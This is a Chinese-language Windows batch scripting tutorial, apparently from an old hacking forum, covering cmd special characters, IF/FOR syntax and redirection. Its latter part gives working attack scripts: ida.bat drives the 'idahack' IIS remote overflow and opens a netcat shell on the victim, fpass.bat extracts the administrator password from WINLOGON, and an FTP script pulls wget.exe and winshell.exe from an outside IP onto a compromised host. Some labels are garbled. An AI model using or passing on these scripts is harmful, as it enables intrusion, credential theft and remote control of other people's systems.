To create the variable value new&name, type: 。.
set varname = new ^ & name. .
To create the variable value ”new&name”, type: 。.
set varname = "new & name". .
The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments。.
find "..
Pacific Rim“ < trade.txt > nwtrade.txt
IF EXIST filename. (del filename.) ELSE echo filename. missing
> 创建一个文件
>> 追加到一个文件后面
@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示
^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb
echo 123456 ^> aaa
echo 1231231 > bbb
() 包含命令
(echo aa & echo bb)
, 和空格一样的缺省分隔符号.
; 注释,表示后面为注释
: 标号作用
| 管道操作
& Usage:第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
dir c:\*.exe & dir d:\*.exe & dir e:\*.exe
&& Usage:第一条命令 && 第二条命令 [&& 第三条命令...]
当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;
|| Usage:第一条命令 || 第二条命令 [|| 第三条命令...]
当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;
常用语法格式
IF [NOT] ERRORLEVEL number command para1 para2
IF [NOT] string1==string2 command para1 para2
IF [NOT] EXIST filename command para1 para2
IF EXIST filename command para1 para2
IF NOT EXIST filename command para1 para2
IF ”%1″==”" goto END
IF ”%1″==”net” goto NET
IF NOT ”%2″==”net” goto OTHER
IF ERRORLEVEL 1 command para1 para2
IF NOT ERRORLEVEL 1 command para1 para2
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
FOR /F ”eol=; tokens=2,3* delims=, ” %i in (myfile.txt) do echo %i %j %k
按照字母顺序 ijklmnopq依次取参数.
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。
######################################################################
4. 简单批处理文件概念
######################################################################
echo This is test > a.txt
type a.txt
echo This is test 11111 >> a.txt
type a.txt
echo This is test 22222 > a.txt
type a.txt
第二个echo是追加
第三个echo将清空a.txt 重新创建 a.txt
netstat -n | find ”3389″
这个将要列出所有连接3389的用户的ip.
________________test.bat___________________________________________________
@echo please care
echo plese care 1111
echo plese care 2222
echo plese care 3333
@echo please care
@echo plese care 1111
@echo plese care 2222
@echo plese care 3333
rem 不显示注释语句,本行显示
@rem 不显示注释语句,本行不显示
@if exist %windir%\system32\find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
@if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
___________________________________________________________________________
下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.
___________________ida.bat_________________________________________________
@rem ver 1.0
@if NOT exist %windir%\system32\idahack.exe echo ”ERROR: dont find idahack.exe”
@if NOT exist %windir%\system32\nc.exe echo ”ERROR: dont find nc.exe”
@if ”%1″ ==”" goto USAGE
@if NOT ”%2″ ==”" goto SP2
tart
@echo Now start …
@ping %1
@echo chinese win2k:1 sp1:2 sp2:3
idahack.exe %1 80 1 99 >%temp%\_tmp
@echo ”prog exit code [%errorlevel%] idahack.exe”
@type %temp%\_tmp
@find ”good luck ” %temp%\_tmp
@echo ”prog exit code [%errorlevel%] find [goog luck]“
@if NOT errorlevel 1 nc.exe %1 99
@goto END
P2
@idahack.exe %1 80 %2 99 %temp%\_tmp
@type %temp%\_tmp
@find ”good luck ” %temp%\_tmp
@if NOT errorlevel 1 nc.exe %1 99
@goto END
:USAGE
@echo Example: ida.bat IP
@echo Example: ida.bat IP (2,3)
:END
_____________________ida.bat__END_________________________________
下面我们再来第二个文件.就是得到administrator的口令.
大多数人说得不到.其实是自己的没有输入正确的信息.
___________________________fpass.bat____________________________________________
@rem ver 1.0
@if NOT exist %windir%\system32\findpass.exe echo ”ERROR: dont find findpass.exe”
@if NOT exist %windir%\system32\pulist.exe echo ”ERROR: dont find pulist.exe”
@echo start….
@echo ____________________________________
@if ”%1″==”" goto USAGE
@findpass.exe %1 %2 %3 >> %temp%\_findpass.txt
@echo ”prog exit code [%errorlevel%] findpass.exe”
@type %temp%\_findpass.txt
@echo ________________________________Here__pass★★★★★★★★
@ipconfig /all >>%temp%\_findpass.txt
@goto END
:USAGE
@pulist.exe >%temp%\_pass.txt
@findstr.exe /i ”WINLOGON explorer internat” %temp%\_pass.txt
@echo ”Example: fpass.bat %1 %2 %3 %4 !!!”
@echo ”Usage: findpass.exe DomainName UserName PID-of-WinLogon”
:END
@echo ” fpass.bat %COMPUTERNAME% %USERNAME% administrator ”
@echo ” fpass.bat end [%errorlevel%] !”
_________________fpass.bat___END___________________________________________________________
还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)
依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!
echo open 210.64.x.4 3396>w
echo read>>w
echo read>>w
echo cd winnt>>w
echo binary>>w
echo pwd >>w
echo get wget.exe >>w
echo get winshell.exe >>w
echo get any.exe >>w
echo quit >>w
ftp -s:w